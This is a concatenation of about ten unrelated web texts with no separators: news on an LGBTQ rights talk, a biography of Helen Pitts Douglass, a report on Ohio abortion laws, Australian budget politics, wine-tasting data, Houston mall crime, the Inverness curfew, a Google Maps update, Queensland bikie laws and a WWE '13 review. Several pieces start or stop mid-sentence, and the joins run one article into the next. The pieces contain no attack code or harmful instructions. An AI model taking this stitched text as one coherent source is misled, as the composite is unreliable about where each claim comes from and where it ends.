“Too many kids live in fear,” he said of teenagers living in homophobic communities. “Too many young [queer] people are turning to drugs, alcohol – even suicide – to deal with hate. We can’t afford to wait anymore.”
Airing the laundry
Hildebrand came ready with a “laundry list” of legal steps that should be taken immediately to protect LGBTQ civil rights, including the Safe Schools Improvement Act, the Hate Crimes Protection Act and employment discrimination legislation. These, he said, are the “easy ones.”
More controversial issues, such as marriage equality and joint-adoption rights, did not escape Hildebrand’s attention, however. He spoke of his sister’s 27-year legal marriage and all the state-afforded rights and benefits she and her husband enjoy in stark contrast to the lack of those same necessities imposed on his own equally committed 16-year partnership.
“We don’t get marriage rights, we don’t get [hospital] visitation rights, we don’t get tax benefits and so on and so on and so on. The word ‘no’ comes before so much…,” he said.
Speaking of the future of LGTBQ civil rights under the Obama administration, Hildebrand conveyed a sense of hope, even in the midst of mounting criticism from segments of the queer community that the President is taking too long to fulfill campaign promises, such as the repeal of DADT.
“Much is going on behind the scenes,” he assured the audience. “Obama has reaffirmed his commitment to changing these things.”
Embracing diversity
As a sign of progress, Hildebrand pointed to Obama’s recent decision to expand federal benefits for domestic partners of government employees. In conversations with members of the audience following the talk, Hildebrand said he was pleased with current efforts at BNL to extend similar benefits to the Lab’s LGBTQ employees.
Still, much work remains to be done. While GLOBE and the Diversity Office have hung the rainbow flag – an international symbol of gay pride – in the lobby of Berkner Hall during June for a number of years now, it was torn down and stolen as recently as 2004.
Concluding his talk, Hildebrand offered his wish that BNL will continue to work for the acceptance of its LGBTQ employees, as well as all marginalized groups.
“You have to embrace diversity,” he said. “We should have pride in every kind of person, every day.”
Video of Hildebrand's talk is available on WBNL. (RealPlayer required)
*NOTE: While still somewhat controversial, the term “queer” was largely “reclaimed” from its pejorative sense in the 1990’s by activists and academics. Its contemporary usage (and the usage intended by the writer here) is that of an “umbrella term” for anyone whose sexual or gender identity/expression does not fit within heteronomative (heterosexual or male/female gender binary) definitions. In this sense, queer is a much more inclusive term than LGBT, which still enforces strict and possibly exclusive categories.Helen Pitts Douglass (1838–1903) was an American suffragist and abolitionist, known for being the second wife of Frederick Douglass. She also created the Frederick Douglass Memorial and Historical Association.[1]
Early life and education [ edit ]
She was born in Honeoye, New York in 1838. A descendant of John Alden and Priscilla Alden, who sailed to America on the Mayflower, Pitts graduated from Mount Holyoke College (then called the Mount Holyoke Female Seminary) in 1859. After the U.S. Civil War, she taught at the Hampton Institute. In 1880, Helen moved to Uniontown in Washington, D.C. and lived next door to Douglass' home, Cedar Hill.
Career [ edit ]
Abolitionist work [ edit ]
She was active in the women's rights movement and co-edited The Alpha, with Caroline Winslow, in Washington. In 1882, Douglass hired Helen as a clerk in the office of the Recorder of Deeds in Washington, to which he had just been assigned. Because he was writing his autobiography, Life and Times of Frederick Douglass and was often lecturing, Helen aided him frequently in his work.
Building a memorial to Frederick Douglass [ edit ]
Douglass' will left Cedar Hill to Helen, but it lacked the number of witnesses needed in bequests of real estate and was ruled invalid. Helen suggested to his children and their spouses that they agree to set Cedar Hill apart as a memorial to their father and deed it to a board of trustees. The children declined, insisting that the estate be sold and the money divided among all the heirs.
With borrowed money, Helen bought the property, and then devoted the rest of her life to planning and establishing the Frederick Douglass Memorial and Historical Association. Besides effecting passage of the law incorporating the association, she worked to raise funds to maintain the estate. For eight years, she lectured throughout the northeast.
During the last year of her life, Helen was ill and unable to lecture, as well as discouraged by the falling off of contributions for her cause. She begged the Rev. Francis Grimke not to let her work fall by the wayside in her absence. He suggested that if the mortgage on Cedar Hill should not be paid off in her lifetime, money from the sale of the property should go to two college scholarships in her and Frederick's names. She agreed, on the condition that the scholarships be in Douglass' name only.
After her death, the $5,500 mortgage was reduced to $4,000, and the National Association of Colored Women, led by Mary B. Talbert of Buffalo, New York, raised funds to buy Cedar Hill. Administered by the National Park Service, the Frederick Douglass Memorial Home conducts tours to inform visitors of Douglass' contributions to freedom.[2]
Personal life [ edit ]
Pitts, seated, with Frederick Douglass. The standing woman is her sister, Eva Pitts.
Marriage to Frederick Douglass [ edit ]
Love came to me, and I was not afraid to marry the man I loved because of his color. — Helen Pitts
Douglass' first wife, Anna Murray Douglass, died on August 4, 1882. After a year of depression, Douglass married Helen on January 24, 1884. They were married by the Rev. Francis J. Grimké, who was of mixed ancestry. Despite the fact that Helen's parents, Gideon and Jane Pitts, were abolitionists, they were against the marriage because Douglass was the son of a white father and a black mother. The marriage was generally the subject of scorn by both white and black residents in the town, though the Douglasses were firm in their convictions. "Love came to me, and I was not afraid to marry the man I loved because of his color," she said. Douglass laughingly commented, "This proves I am impartial. My first wife was the color of my mother and the second, the color of my father."[3] A main source of support was Elizabeth Cady Stanton, who said: "In defense of the right to... marry whom we please – we might quote some of the basic principles of our government [and] suggest that in some things individual rights to tastes should control.".[4] Helen and Frederick were married for eleven years, until his sudden death from a heart attack in 1895. They did not have any children together. Frederick had five children with his first wife Anna: Lewis, Frederick Jr., Charles, Rosetta, and Annie.
See also [ edit ]
References [ edit ]In June 2013, after 30 years in business, the Center for Choice performed its last abortion and closed its doors. The Toledo, Ohio, clinic had long been a target for anti-abortion activists — there was Marjorie Reed, the arsonist who set fire to the center in 1986, and a man staffers called “B.O. Bob,” a local schoolteacher who would call the clinic after hours, jamming up the voice mail box with his rants. But it was not firebombs or bellicose picketers that eventually forced the Center for Choice to close. The clinic packed it in because of a far more discreet, yet in some ways harder to ignore, incursion: a torrent of restrictions on abortions and abortion providers from Ohio’s statehouse.
“It started to feel like a witch hunt,” Sue Postal, the center’s director, told me in October. She always knew the anti-abortion movement was pushing legislation that would make her job more difficult, but the past five years have been some of the hardest for Ohio abortion providers, now that a new Republican, anti-abortion governor has taken over. “Under Kasich it’s happening.”
Since entering office in January 2011, John Kasich, Ohio’s governor and now a GOP presidential hopeful, has signed every abortion and women’s reproductive health provision that has landed on his desk. In four and a half years he has enacted 16 legislative proposals related to family planning funding and abortion access across the state. Although anti-abortion provisions are not limited to the Buckeye State — a July count from the Guttmacher Institute, an abortion-rights advocacy group, showed that 31 states have enacted a total of 282 abortion restrictions since January 2011 — Ohio stands out for the rate at which it’s adopting this legislation. The measures have altered when, where and by whom a pregnancy can be terminated in the state. And although Ohio is seen as a wild success story for anti-abortion advocates, the details of Kasich’s hard-line stance are often obscured. As governor he concealed his administration’s role in the creation of several anti-abortion measures, and now he is viewed as one of the most moderate candidates in a GOP race that tips far to the right.
Michael Gonidakis, president of the anti-abortion group Ohio Right to Life and a 2012 Kasich appointee to the state medical board, considers Ohio to be in a “golden era” for anti-abortion activism, with an anti-abortion supermajority in the state House and Senate. But he said the swift passage of new laws limiting abortion would not have been possible without Kasich’s leadership. “We’ve never had a governor in my lifetime that was laser-focused on the issue of life like John Kasich is today,” he said, later adding, “John Kasich deserves the credit for creating an environment and atmosphere here for the 65 [anti-abortion] members of the House and the 23 [anti-abortion] members of our Senate to pass a litany of pro-life bills.”
Since Kasich entered office, half of the state’s surgical abortion clinics have stopped providing abortion services, including Center for Choice. In 2011, there were 16 surgical abortion providers in Ohio serving nearly 2.3 million women of reproductive age. By 2013, the number had dropped to 14. The next year, after a slew of restrictions passed in the budget, that number dipped to 10. By 2015, eight abortion providers had closed their doors, moved to different states or stopped providing services. No state, other than Texas, with nearly 6 million women of reproductive age, has lost so many clinics in this span of time. After a clinic an hour south of Cleveland was approved this summer to start performing surgical abortions, the now nearly 2.5 million women of reproductive age in Ohio have nine surgical abortion providers to choose from. (Women in their first trimester of pregnancy have the option of abortion through surgery or medication. In 2014, only 5 percent of women who had abortions in Ohio opted for the medication method. The state requires doctors administering medication abortions to adhere to an older standard, one known to have high failure rates, and many of Ohio’s abortion providers do not offer abortions via medication for this reason.)
The slew of new provisions has meant not only fewer options but also more obstacles for women looking to terminate a pregnancy, and in turn it has affected who is able to get an abortion in the state.
Overall, abortions in Ohio were down 25 percent in 2014 from 2010, according to the state Department of Health. Nationally, abortion rates fell by 12 percent in that time period — a reduction that is in line with a downward trend that started in the 1990s, though some believe that trend has less to do with restrictions and more to do with a decrease in unwanted pregnancies.
According to state data, white women accounted for a slightly smaller share of those who got abortions in Ohio in 2014 compared with 2010. Abortions among teens fell 50 percent, a decrease that abortion-rights advocates attribute to a 2011 bill Kasich signed that made it more difficult for minors to obtain consent from a judge if they wanted an abortion without a parent or guardian’s permission.
Less-educated women were 42 percent less likely to get an abortion in 2014 than in 2010, and women were also getting abortions later in their pregnancies. Abortion-rights advocates say the reason for this latter trend is threefold: Women living in the 82 of Ohio’s 88 counties with no abortion provider must take into consideration the protracted travel times, the costs of getting to a clinic not once but twice (Ohio requires an ultrasound 24 hours before an abortion procedure), and the fact that there are longer wait times at the remaining clinics.
NUMBER OF INDUCED ABORTIONS AGE 2010 2011 2012 2013 2014 PERCENT CHANGE 2010 TO 2014 <20 4.7k 3.6k 3.5k 2.9k 2.3k -50% 20-29 16.2 14.6 14.8 13.8 12.7 -21 30-39 6.2 5.6 6.2 5.6 5.4 -12 40+ 0.8 0.8 0.8 0.7 0.7 -17 Education <Grade 9 0.4 0.3 0.3 0.3 0.2 -52 Grade 9-12 17.3 15.2 13.9 12.3 10.2 -41 A year or more of college 9.9 8.8 10.2 9.6 9.4 -5 Gestation <9 weeks 16.3 14.1 14.4 13.1 11.1 -32 9-12 weeks 7.7 6.9 7.2 6.6 6.6 -14 13-18 weeks 3.2 2.9 3.2 2.9 3.0 -8 19-20 weeks 0.3 0.3 0.4 0.4 0.4 9 21+ weeks 0.5 0.4 0.2 0.2 0.1 -71
In October, Sheva Guy, a 23-year-old doctoral student at the University of Cincinnati, publicly recounted her journey traveling more than 300 miles to get an abortion. Guy was about 22 weeks into her planned pregnancy when she learned that the fetus had a fatal spinal abnormality; she could carry the pregnancy to term and give birth to a stillborn baby or seek an abortion. The only clinic in the state that performs abortions at 22.5 weeks was booked, so it referred her to a clinic in Chicago. Guy estimated that the trip, including the procedure, cost $3,000.
In his first year at the helm, Kasich signed off on six abortion measures. One bill prohibited health plans on the state’s Obamacare insurance exchange from providing abortion coverage, except in cases of rape or incest or if the woman’s life was in danger. Another, the late-term ban, required doctors to test the viability of a fetus if a woman sought an abortion at 20 weeks or later in her pregnancy. Those early laws placed limits on the individuals seeking abortions, but as time progressed the legislation widened its target, aiming less at the consumer — women — and more at the provider — clinics.
Two years later, in June 2013, the same month Wendy Davis stood in the Texas statehouse for 11 hours filibustering a bill threatening to close 88 percent of her state’s 42 abortion providers, Kasich quietly signed a budget with some of Ohio’s most stringent abortion and family planning clauses — another six measures. Unlike Davis and the Texas measures, which received ample national media attention, Kasich’s budget flew under the radar. There was no YouTube live stream, no protesters cheering and singing, no infamous pink sneakers. Just a flick of a pen and some smiles for the local reporters.
Many of the provisions in the budget dealt specifically with how abortion providers in the state could operate, either through funding limitations or new mandatory procedures. One measure banned rape-crisis counselors in state-funded facilities from referring women to abortion services; another moved Planned Parenthood to the bottom of the list of organizations in Ohio receiving federal family planning dollars, stripping the organization of $1.4 million. One of the most controversial measures prohibited ambulatory surgical centers and public hospitals from entering into “transfer agreements,” mandatory pacts between an abortion provider and a hospital saying the latter will take patients in the case of a complication. This is the provision that eventually led Sue Postal to close the Center for Choice in Toledo.
When Kasich signed the state’s 2016-17 budget this summer, he enacted four more measures related to abortion and family planning, including the allotment of $1 million in tax dollars to crisis pregnancy centers, nonprofit facilities that offer pregnancy care — such as pregnancy tests, family planning courses and ultrasounds — that have been accused by abortion-rights advocates of trying to counsel women against having an abortion.
Abortion-rights advocates say these measures, while perhaps limited in effect individually, have an overwhelming effect on providers when working in concert. “I don’t want to give them credit, but the anti-choice movement has put together a very clear and concise campaign,” Postal said. “I think you notice just by the amount of legislation introduced. It’s nonstop.”
Gonidakis and other abortion foes call it the incrementalist approach. Instead of passing controversial bills that try to reverse Roe v. Wade, the plan calls for a series of laws that undermine abortion rights and ultimately, as they add up, force the 1973 Supreme Court ruling to collapse. “You get what you can now, you continue to demonstrate the pragmatic approach, the compassionate approach, and the next thing you know you wake up and you have 16 things done,” Gonidakis said.
Kasich, who served four years in the Ohio state Senate and 18 in the U.S. House of Representatives representing suburban Columbus, has long supported legislation limiting abortion. Among other anti-abortion bills he voted for during his House tenure were the Child Custody Protection Act, a 1998 bill that would have made it a federal crime to transport a minor across state lines for an abortion, and a 2000 ban on partial-birth abortions, an uncommon late-term procedure.
His campaign spokesman, Robert Nichols, declined to comment for this article and instead directed me to a section of the campaign website titled “Respecting the Sanctity of Human Life.” The page highlights Kasich’s anti-abortion accomplishments as governor, with a section explaining that he has “enacted more measures to protect unborn children than any other governor in the history of the state, including bans on late-term abortions and bans on elective abortions in public hospitals.”
Beyond this, however, Kasich’s 2016 presidential campaign has so far largely glossed over his role in passing anti-abortion legislation in Ohio as he seeks to position himself as the most moderate and mainstream candidate in the GOP race. He supports Medicaid expansion, stands behind the Common Core educational standards, is open to immigration reform and believes in climate change. When abortion does come up, his public statements are succinct; he explains that he is “pro-life,” like all the other GOP candidates, but does not go into detail. In an August interview with CNN’s Dana Bash, Kasich said conservatives focus “too much” on the topic and should instead turn their attention to other issues like “early childhood, infant mortality, the environment, education” — all topics that generally highlight his centrism and set him apart from his conservative competition.
The comment was picked up by abortion-rights advocates and opponents, who both wondered why Kasich was shying away from the success of anti-abortion legislation in Ohio. To abortion foes, Kasich’s record is a point of pride. “He needs to get his message out that he is pro-life and he can show his body of work,” Gonidakis said.
Abortion-rights advocates feel similarly but for different reasons: They want to make sure voters who may like Kasich for his moderate stances on other issues also know where he stands on abortion. Kasich “hides behind a moderate mask, but the truth is he has been quietly working behind the scenes to impose his radical personal views on Ohioans,” said Kellie Copeland, executive director of NARAL Ohio, an abortion-rights advocacy group.
Recently uncovered emails reported on by The Associated Press show that Kasich’s office helped craft abortion legislation that showed up in the 2014-15 budget, legislation that he had claimed no knowledge of or involvement with before the measures were introduced in the House. When asked during a public forum whether he would veto the measures, Kasich gave the air of a more neutral observer, saying he still had to mull the provisions over: “First of all, I’m pro-life, so we’ll have to see how this proceeds through the House and Senate and the conference committee. Then I’ll make a decision on that as to whether I think it goes too far, but keep in mind I’m pro-life.”
A few weeks later, Kasich vetoed 22 amendments in the budget, including a provision that would have blocked the expansion of Medicaid — a win for liberals in the state. He then signed on to six anti-abortion measures, two of which his team had helped to mold.
The provision in the budget that prohibited transfer agreements between abortion providers and public hospitals is considered the most controversial that Kasich signed. Although these pacts, which are required in seven other states, have been a requisite for Ohio abortion providers since 1996, the new rule greatly limited the pool of potential partners.
In addition to the Center for Choice, four other clinics in Ohio, where 15 percent of private hospitals are Catholic, have since stopped providing abortions because they were unable to find emergency care centers to team up with. If an abortion provider can’t find a private hospital that will agree to a transfer arrangement, it will likely lose its license.
“It was an evolution in our strategy,” explained Gonidakis, whose organization was involved in drafting these provisions as well as the 14 others enacted under Kasich. “Because of Roe v. Wade we unfortunately can only do so much as it relates to bans and restrictions on the timing and timeline of abortions.” Although legislation relating to how late a pregnancy can be terminated, for example, is often tied up in lawsuits, a state has more freedom in how it regulates health care. Adopting measures that placed limits on how abortion providers could operate became the method of choice for anti-abortion advocates who wanted to make abortion rare without running the risk of losing a fight in court, where the precedent set by Roe v. Wade allows women to have an abortion up until the point of fetal viability (which at the time was defined as between 24 and 28 weeks).
If an abortion provider in Ohio is unable to find a private hospital to partner with, it can apply for a variance, a pact with local doctors from either a public or private hospital — physicians from the former must get a private hospital to sign off on admitting privileges. The approval of a variance application comes from the director of the state Department of Health, Richard Hodges, a former director of the Ohio Turnpike Commission whom Kasich appointed to lead the health department in 2014, and it’s not guaranteed. Hodges denied a variance from Planned Parenthood of Southwest Ohio because its final application listed three partner physicians when it had originally listed four. A further provision in Ohio’s latest budget says that variance applications are automatically denied after 60 days if Hodges doesn’t respond.
Capital Care Network, Toledo’s only remaining abortion provider, thought it had found a way to get around the transfer agreement law without applying for a variance. After being dropped by the University of Toledo — a public hospital — Capital Care Network entered into a transfer agreement with the University of Michigan Health System, a public hospital but one that doesn’t receive funds from the state of Ohio.
Shortly after, the Department of Health notified the clinic that the Ann Arbor, Michigan, hospital was too far away — 50 miles — to be considered “local.” It tried to revoke the clinic’s license — a move that would have left Lucas County, and the 87,568 reproductive-age women living there, without an abortion provider. A county judge ruled this summer that the clinic’s transfer agreement was valid and it could stay open.
Two weeks later, Kasich signed Ohio’s 2016-17 budget, which included a measure that defined “local” for the purposes of the transfer agreements as within 30 miles. The clinic is scrambling to find a new partner hospital; however, the only nonreligious, private hospital within 30 miles, ProMedica, has declined to partner with Capital Care, saying it doesn’t want to get involved with politics.
Three of the nine licensed surgical centers in Ohio — serving Toledo, Cincinnati and Dayton — have uncertain futures because of the new transfer agreement requirements. If clinics close in all three cities, there will be no abortion provider on the west side of the state.
Abortion-rights advocates say the transfer agreement provisions threaten to send Ohio back to an earlier era. Carol Dunn, who founded the Center for Choice in 1983, recalled helping to connect Ohio women seeking abortions to providers in New York, where abortion became legal in 1970. She worked for Planned Parenthood as a referral agent to what “the stewardess” called the “abortion flight”: a direct flight between Toledo and New York’s LaGuardia Airport. The Supreme Court’s decision in Roe v. Wade in 1973 brought this long-distance traveling to an end. With abortion legal in every state, it was no longer necessary to cross state lines.
But there’s evidence that some Ohio women, like Sheva Guy, are seeking abortions elsewhere as restrictions tighten. A recent Associated Press survey tracked abortion rates in every state since 2010 and found declines in all but two |
the IMF fiscal report released just a few hours ago identified that Australia’s increased healthcare and pension spending alone, based on current settings, would mean an extra $93bn of government spending per annum by 2030,” Hockey said.
“That is the equivalent of an extra $61bn a year in today’s dollars, or the equivalent of an extra 4% of today’s GDP. To pay for the growth in health and pension expenditure, the government would need to raise the equivalent of the existing company tax,” he said.
Hockey said the ageing population had significant consequences for the federal budget: slower economic growth; reduced growth in taxation revenue; more demands for social services, such as health; more demands for income support, such as the pension; and providing aged care services.
He suggested the demographic trends could not be reversed in the short term by either increasing the birthrate, or by boosting migration. Demography meant the government “must make some difficult decisions”.
Spending on the aged pension alone over the next decade would increase, Hockey said, by 70% in today’s dollars. The treasurer also identified achieving efficiencies in the health spend as a priority.
“We will need to improve competition and efficiency in the delivery of healthcare and we need to ensure that access to the pension system is prioritised for those most vulnerable. The IMF goes on to warn that increasing the pension age is a worthy consideration,” he said.
Hockey repeated his recent arguments that everyone must make a contribution to the task of budget repair.
He pointed to a number of guiding principles, which included reduced protection and handouts for business, increased co-payments for government services for higher-income earners, and more targeting of the welfare system to boost the participation rate.
The treasurer argued that government should not be active when the private sector could fulfil adequately the need or the function.
“Government benefits must be sustainable, fair and targeted to those in genuine need. Welfare must be a safety net, not a cargo net. We cannot allow vast numbers in society to remain in an entitlement culture,” Hockey said.
“Those members of the community that are able to do so must make appropriate contributions to the cost of government services. And all members of our community must be encouraged and assisted to enter and stay in the workforce.
“In approaching Australia’s domestic challenges, our overriding philosophy is that the government should be active only where it is needed and where the private sector cannot adequately fulfil the function.”
Labor responded to Hockey’s pre-budget positioning by arguing the IMF assessment the treasurer was using to justify future cuts had, in fact, concluded that the Australian government had presided over the fastest budget deterioration anywhere in the world.
The opposition finance spokesman, Tony Burke, said the IMF found the budget deficit had widened since the Coalition government was elected last year.
The pre-budget period has seen the major parties locked in a legacy argument.
Hockey contends budget repair is necessary because of a significant spending and debt blowout under the Rudd and Gillard governments. Labor’s riposte is that the Coalition is, first, exaggerating the fiscal crisis by deliberate changes to the underlying assumptions and, second, contributing to the state of the budget with its policy decisions.
“Joe Hockey has presided over the fastest budget deterioration anywhere in the advanced world,” Burke said on Thursday.
“Joe Hockey has abandoned the cap on spending, changed longstanding economic assumptions and effectively cooked the books to justify the deep cuts he has planned in the May budget,” he said.
“For weeks we’ve seen selected leaking of all manner of cuts, Joe Hockey trying to get the GST back on the agenda and yesterday a proposed new tax on hospital visits – what is going on in the treasurer’s office?”“WINE tasting is bullshit”, proclaimed Robbie Gonzalez of the i09 blog a few years ago. Citing a series of academic studies, he argued—in rather more colourful language than their authors’—that there was no substance to the assessments of a wine′s quality made by wine “experts”, or their overblown language. In an article published in the latest issue of 1843, our sister magazine of ideas, lifestyle and culture, our data editor set out to disprove this widely held view. He attended an annual blind-tasting competition between students from Oxford and Cambridge universities, and found that the participants performed impressively well at identifying grape varieties and countries of origin using only their senses of sight, taste and smell.
For sceptical readers interested in taking a bigger swig of data, the main results of the 2017 Varsity blind-tasting match, held on February 15th, are depicted above. Two teams of seven tasters each (including one reserve per side) were presented with 12 wines, six whites and six reds. The judges granted each taster between zero and 20 points per wine, depending on how close (in their estimation) the drinkers’ guesses were to the correct answers, and how convincingly they explained their reasoning. However, we prefer a simpler scoring system: one point for getting the country of origin right, another point for getting the grape variety right and a judicious half-point of partial credit only in a handful of specific cases.
Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
The group’s overall accuracy was far superior to what could be expected from random chance. Given the thousands of potential country-variety pairs, a monkey throwing darts would have virtually no hope of getting a single one right. But 47% of the Oxbridge tasters′ guesses on grape variety were correct, as were 37% on country of origin.
The competitors′ performances on each individual glass rarely matched these headline averages. Some wines were well-nigh unmistakable: all 14 drinkers identified the Pinot Noir, 12 called the Chardonnay and Gamay right and 11 identified the Sauvignon Blanc and Cabernet Sauvignon. Similarly, 13 participants recognised that the Gamay was from France (it is scarcely grown anywhere else), and nine said that the Semillon was Australian (though only four also determined that it was a Semillon). At the other extreme, no one knew what the Friulano was made from—an unsurprising result, since the grape is little-known internationally. Only one drinker nailed the Rioja (made from Tempranillo) and Châteauneuf-du-Pape (a Grenache-based blend), wines from prominent regions that should have been relatively easy to spot.
Similarly, the averages obscured wide differences in performance among individual drinkers. Taster number 11—the sheets are anonymous—got 8.5 of his or her 12 country guesses right (with a half-point for placing a South African Cabernet Sauvignon in Chile), whereas taster number 1 got every country wrong save for putting the Beaujolais (made from Gamay) in France. The variety guesses were clustered together more closely, with a low of four correct answers (for tasters 1, 7 and 9) and a high of eight (for taster number 3, counting two half-points). However, based on data from a single trial, it is hard to tell whether these gaps primarily reflect true differences in skill between drinkers or mere random variation.
For readers interested in learning more about the blind-tasting contest, Pol Roger, its sponsor, has published a history by Jennifer Segal called “Reds, Whites and Varsity Blues”. It is available here.
We granted half-points for the following guesses:
1. For the German Riesling, placing it in neighbouring Alsace, France—so long as the variety was correctly listed as Riesling
2. For the obscure northern Italian Friulano grape, listing any other northern Italian variety
3. For the often-blended white Rhône variety Viognier, listing any other white Rhône variety
4. For the South African Cabernet Sauvignon, choosing any other New World country of origin—so long as the variety was correctly listed as Cabernet Sauvignon
5. For the Merlot-based Bordeaux, listing Cabernet Sauvignon (the other leading Bordeaux variety)—so long as the region was correctly listed as BordeauxHOUSTON - Theft reports and car break-ins are the crimes mostly likely to result in a call to police at Houston-area malls, a Local 2 Investigates' review of police reports shows.
Local 2 Investigates reviewed a year's worth of police "calls for service" for a variety of crimes including thefts, shoplifting, burglaries, car break-ins, disturbances, forgeries, trespassing, hit-and-runs and stolen cars. Calls coded as a traffic stop were not included.
The top five malls for the most calls to police are:
1. The Woodlands Mall, 1201 Lake Woodlands Drive, The Woodlands, TX 77380 -- about 461 calls for service.
2. Katy Mills, 5000 Katy Mills Cir, Katy, TX 77494 -- about 308 calls for service.
3. Galleria, 5085 Westheimer Road, Houston, TX 77056 -- about 215 calls for service.
4. Centre at Post Oak, 5000 Westheimer Road, Houston, TX 77056 -- about 195 calls for service.
5. Greenspoint Mall, 12300 North Freeway, Houston, TX 77060 -- about 180 calls for service.
Some calls for service are coded as one type of crime and as more information becomes available the type of crime may change, but the call for service may still show the original type of call.
Police said it's no surprise that the big malls with many customers rank high on our list. Calls for service don't always mean a crime has been committed.
Katy Mills sees an estimated 12 million customers a year, according to General Manager Don Massey. He said his mall adds additional security around the holidays.
The mall also has 24-hour patrol and monitored cameras, he told Local 2 investigative reporter Jace Larson.
Massey said some of the crimes Local 2 counted don't affect everyday shoppers. He cited shoplifting as one example.
"The statistics don't necessarily mean they are shopper-related or safety-related," Massey said.
Houston police warn shoppers against giving crooks a roadmap to your valuables while shopping this holiday season.
"If you get a location and open up your truck and throw your valuables in there and then go inside, all you've done is advertise it to anyone watching," Houston Police Auto Theft Detective Jim Woods told Local 2. "There's a good chance someone is watching."
Woods suggests people not leave gifts in their cars, even if that means driving home to drop off gifts before doing more shopping.
"If you drive an SUV or a van, realize there is no secure place to store your property," Woods said.
If you have a tip for investigative reporter Jace Larson, email, call or text him at [email protected] or 832-493-3951.
Copyright 2014 by Click2Houston.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Ban on entering licensed premises after midnight could come to an end in Highland capital.
© STV
People in the Highlands have been having their say on the so-called 'Cinderella curfew' which prevents revellers from getting into Inverness venues after twelve o clock.
Police and some licensees say it keeps the streets safer, but campaigners say the restriction is old-fashioned and hurts the tourist industry.
The Highlands is renowned for its hospitality, but revellers hoping to party on at nightclubs are currently met with closed doors after the clock strikes twelve in the region's capital.
The ruling was introduced in 2003, since when there has been growing opposition from locals.
Now the public have had the chance to voice their opinion in a consultation which closed at 5pm on Friday.
The campaign to banish the curfew even has celebrity backing. Inverness Dr Who actress Karen Gillan said the ruling is the "worst thing about the city" in a local newspaper interview.
Highland Council will consider the responses and a decision is expected later this year.Sunday, June 14, 2009 | 4:23 PM
Today we're releasing an upgrade to Google Maps for Android-powered phones. We've added a whole host of new features and fixed a few issues with Google Latitude.
You can now search Google Maps for Android using your voice, making it easier than ever to look up places while on the go. Whether you're searching for an address, a business, or nearby windsurfing spots, just speak your query and Google Maps will find it. Our voice recognition engine currently understands English in American, Australian, and British accents. After you search, you'll see a map of places. To help you decide where to go, we've improved our business listings to include content such as store hours, prices, ratings, and reviews.
We also added transit and walking directions to Google Maps for Android. You can now get directions using public transportation in over 250 cities, including New York City and San Francisco. If you're looking for the best route on foot, use walking directions to take advantage of pedestrian-only pathways and to avoid one-way restrictions - just in time for summer!
Google Maps for Android includes some big improvements to Google Latitude. We fixed an issue that caused background location updates to periodically stop for some of you. Now, once you select "Detect your location" from the Latitude privacy menu, your location will continue to update as long as your phone is on.
You may also notice a new experimental feature called Updates that lets you communicate with friends and post messages. Start Latitude and click the "Updates" tab to shout out updates at friends when they're at interesting locations, start a conversation when you're at your favorite restaurant, or just add more details to your Latitude location for your friends to see. Your friends will also need to download this new version of Google Maps for Android in order to use this experimental Updates feature -- they will not get your messages otherwise.
Unlike past Android software updates for the T-Mobile G1 or HTC Magic, the new Google Maps release won't be automatically pushed to your phone over the next few days. Instead, the upgrade is available for download in the Android Market. Just search for "Google Maps" and install today.
UPDATE: For those of you looking for Street View in Google Maps on Android, you'll find that we've integrated it more tightly with the rest of the app. Street View is no longer its own map mode. You can now check out Street View directly from any search result where imagery is available. You can also long-press any point on the map, in map view or satellite view, and you'll see a Street View thumbnail wherever imagery is available.
By Ole CaveLie and Chandan Pitta, Software EngineersWife of alleged Qld bikie says prison visiting rights revoked
Updated
The wife of an alleged bikie says she is being denied access to her jailed husband as she is deemed an associate under Queensland's new anti-bikie laws.
It comes as Australia's next human rights commissioner has repeated his concerns about the limits on association under the Queensland laws.
Joshua Shane Carew is one of five alleged bikie club members who have been charged with meeting at a Sunshine Coast pub last November.
Tracy Carew says she believes her prison visit rights have been revoked because she publicly criticised the State Government's legislation.
"I've been trying to demand answers from [Attorney-General] Jarrod Bleijie and Campbell Newman about whether or not I am deemed an associate," she said.
"I'm the closest person to these three men, and they won't give me a direct answer and that's a really scary thought, and it should be a scary thought for the rest of the Queensland people."
Issuing a statement today on his website, incoming human rights commissioner Tim Wilson said: "The imprisonment of people for free association who are not otherwise engaged in criminal activity is deeply, deeply disturbing".
"The fact that other states have and continue to look at replicating these laws is equally disturbing," he added.
Mrs Carew says she is getting a lot of attention for being an outspoken critic of the new laws.
"I'm not just fighting for my husband and brother and friends, I'm fighting for all Queenslanders because the reality is it will affect everybody in some way," she said.
Queensland Corrective Services says it cannot give details of a prisoner's visitation rights for security and privacy reasons.
Topics: programs-and-initiatives, activism-and-lobbying, laws, state-parliament, maroochydore-4558
First postedTwo years ago, NBA 2K11 released to critical and commercial success. A primary reason for the acclaim was a mode that meticulously recreated key moments of Michael Jordan’s legendary NBA career. With WWE ‘13, THQ has produced a similar love letter to pro wrestling’s greatest era. Millions were entertained by the antics of Stone Cold Steve Austin, The Rock, and D-Generation X in the late ‘90s, and this “attitude era” stands at center stage in this year’s entry.
WWE ‘12 attempted to tell the stories of several wrestlers with its Road to Wrestlemania mode, but an annoying objective system and match structure brought the entire experience down. WWE ‘13’s Attitude Era mode rectifies the mistakes of its predecessor by making specific objectives “historical bonuses” instead of required actions. If you want your matches to play out the way they did in real life, you’re free to throw Mankind off of the Hell in a Cell or hit Kane with three tombstone piledrivers. If you’d rather progress through the campaign in your own fashion, you can move on just the same (albeit without the great bonuses the historical objectives unlock). While you learning about the history of numerous wrestling legends, the mode gradually introduces you to new match types and gameplay mechanics. In every aspect, Attitude Era is the best story mode I’ve ever played in a wrestling game.
THQ didn’t skimp on the era’s superstars, resulting in a dream roster of the wrestling greats covering everything from main eventers like Triple H and The Rock to midcard talent like The Godfather and Billy Gunn. On its own, the Attitude Era mode and roster offer more than other titles with a historical focus like Legends of Wrestlemania and WWE All-Stars. They could have called it a day with their offerings from the late ‘90s, but THQ also offers a full current roster and hugely customizable WWE Universe mode.
Like previous entries, WWE Universe gives you full control over match cards and television schedules, essentially combining a career mode and a general manager mode. Hundreds of scenes can pop up organically before, during, or after matches, and the development team had the help of WWE producer Paul Heyman, one of the best minds in the business, when putting them together. Creating feuds, guiding a created superstar’s career path, and introducing your own TV show is great, and the mode is endless for all intents and purposes.
